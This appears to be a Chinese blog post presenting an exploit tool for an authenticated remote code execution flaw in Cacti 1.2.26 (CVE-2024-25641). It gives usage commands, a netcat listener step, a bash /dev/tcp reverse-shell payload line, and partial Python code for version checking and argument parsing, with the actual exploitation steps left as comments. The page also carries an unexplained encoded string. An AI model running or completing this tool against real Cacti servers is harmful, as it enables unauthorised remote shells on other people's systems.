Cacti 1.2.26 远程代码执行漏洞利用工具 (CVE-2024-25641)

Cacti 1.2.26 远程代码执行漏洞利用工具 (CVE-2024-25641)

这是一个针对Cacti网络监控系统特定版本(1.2.26)的远程代码执行(RCE)漏洞的自动化利用工具。该工具基于CVE-2024-25641漏洞开发,允许经过身份验证的用户在目标系统上执行任意代码,并反弹一个交互式Shell。

功能特性

  • 自动版本检测:工具会检查目标Cacti应用的版本,确认其是否为受影响的1.2.26版本。
  • 身份验证支持:支持使用用户名和密码进行身份验证,以执行后续的利用步骤。
  • 反向Shell生成:成功利用漏洞后,可以向指定的本地主机和端口发起一个反向TCP Shell连接。
  • 可选详细输出 :提供 --verbose 参数,用于输出更详细的执行过程信息,便于调试和分析。
  • 命令行界面:通过命令行参数提供所有必要信息,使用方便快捷。

安装指南

系统要求

  • Python 3.x
  • 目标系统需要运行Cacti 1.2.26版本

依赖项

在运行此工具之前,请确保已安装所需的Python库。可以使用pip进行安装:

bash 复制代码
pip install requests beautifulsoup4 cryptography

获取工具

克隆此仓库到本地:

bash 复制代码
git clone https://github.com/your-repo/Cacti-Exploit-CVE-2024-25641.git
cd Cacti-Exploit-CVE-2024-25641

使用说明

基本用法

bash 复制代码
python3 exploit.py --url http://target-cacti.com --user admin --password secret --lhost 192.168.1.100 --lport 4444

参数说明

参数 描述 是否必需
--url Cacti应用的根URL
--user 用于登录的用户名
--password 用于登录的密码
--lhost 接收反向Shell的本地主机IP
--lport 接收反向Shell的本地端口
--verbose 启用详细输出模式

典型使用场景

  1. 攻击者设置监听器:

    bash 复制代码
    nc -lvnp 4444
  2. 攻击者运行漏洞利用脚本:

    bash 复制代码
    python3 exploit.py --url http://10.10.10.10/cacti --user admin --password admin --lhost 10.10.10.5 --lport 4444 --verbose
  3. 如果成功,攻击者的监听器将收到一个来自目标服务器的Shell。

核心代码

以下是该工具的核心实现代码,展示了漏洞利用的关键步骤。

版本检测函数

python 复制代码
import requests

def check_version(url_to_check):
    """
    检查目标URL上的Cacti版本是否为1.2.26
    """
    try:
        r = requests.get(url_to_check)
        response = r.text

        if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
            print("[+] Version seems to be 1.2.26")
        else:
            print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")
    except Exception as e:
        print(f"[-] Error checking version: {e}")

命令行参数解析

python 复制代码
import argparse

def parse_arguments():
    """
    解析并返回命令行参数
    """
    p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
    p.add_argument('--url', help="URL of the Cacti web root", required=True)
    p.add_argument('--user', help="username to log in", required=True)
    p.add_argument('--password', help="password of the username", required=True)
    p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
    p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
    p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)

    return p.parse_args()

随机字符串生成函数

python 复制代码
import string
import random

def get_random_string(length):
    """
    生成一个指定长度的随机小写字母字符串,用于绕过简单的过滤或生成唯一标识符。
    """
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

主函数逻辑框架

python 复制代码
# ... 导入必要的模块 ...

if __name__ == '__main__':
    # 解析参数
    parser = parse_arguments()
    url = parser.url
    username = parser.user
    password = parser.password
    lhost = parser.lhost
    lport = parser.lport
    verbose = parser.verbose

    # 1. 检查版本
    changelog_url = f"{url.rstrip('/')}/docs/CHANGELOG"
    check_version(changelog_url)

    # 2. 进行身份验证(此处为简化逻辑,实际代码中会包含完整的认证流程)
    # session = login(url, username, password)

    # 3. 构造并发送恶意请求,触发漏洞
    # 例如,利用文件上传或参数注入漏洞

    # 4. 生成反向Shell Payload
    # payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"

    # 5. 执行利用,并等待Shell连接
    # execute_exploit(session, url, payload)
    print(f"[*] Exploit attempted. Check your listener at {lhost}:{lport}")

6HFtX5dABrKlqXeO5PUv/5+A6Y7DjDXG69mAMwPZBsd/S4RQWPUk3KSsqxhXVYCd

相关推荐
小弥儿12 小时前
GitHub今日热榜 | 2026-08-26:AI 大脑与知识管理扎堆
人工智能·学习·开源·github
荷蒲12 小时前
【小白量化Qbuddy】利用AI学习中文Python
人工智能·python·学习
继续商行12 小时前
数据库变更协作:研发与 DBA 如何约定 DDL 边界
人工智能
IT_陈寒13 小时前
Vue的响应式更新有时候真的不听话
前端·人工智能·后端
柳絮飞祭奠13 小时前
Dify Windows Docker Desktop 部署文档
人工智能·深度学习·语言模型·数据分析·transformer·边缘计算·集成学习
DeepLink_202513 小时前
Triton第四课:基于对称内存融合 AllGather 与 MatMul,提速1.56倍
人工智能·芯片·技术科普
zhangfeng113313 小时前
AMD Instinct MI50(gfx906)上为 Qwen 系列模型优化并可用的 vLLM 相关仓库、Docker 镜像与实践指南。
人工智能·docker·ai编程·qwen·算子开发·vllm·mi50
其实防守也摸鱼13 小时前
信创是什么:一文读懂信息技术应用创新
人工智能·阿里云·云计算·github·copilot
咖啡星人k13 小时前
2026 AI Agent 长期记忆:为什么 AI 助手总“聊完就忘“?MonkeyCode 免费上手
人工智能·深度学习·机器学习·语言模型·自然语言处理
帅哥的AI自修课13 小时前
AI 换个会话就装失忆?Letta 焊死「记忆即灵魂」,从 MemGPT 的 OS 梦到 Core/Recall/Archival 三层记忆一篇打通
人工智能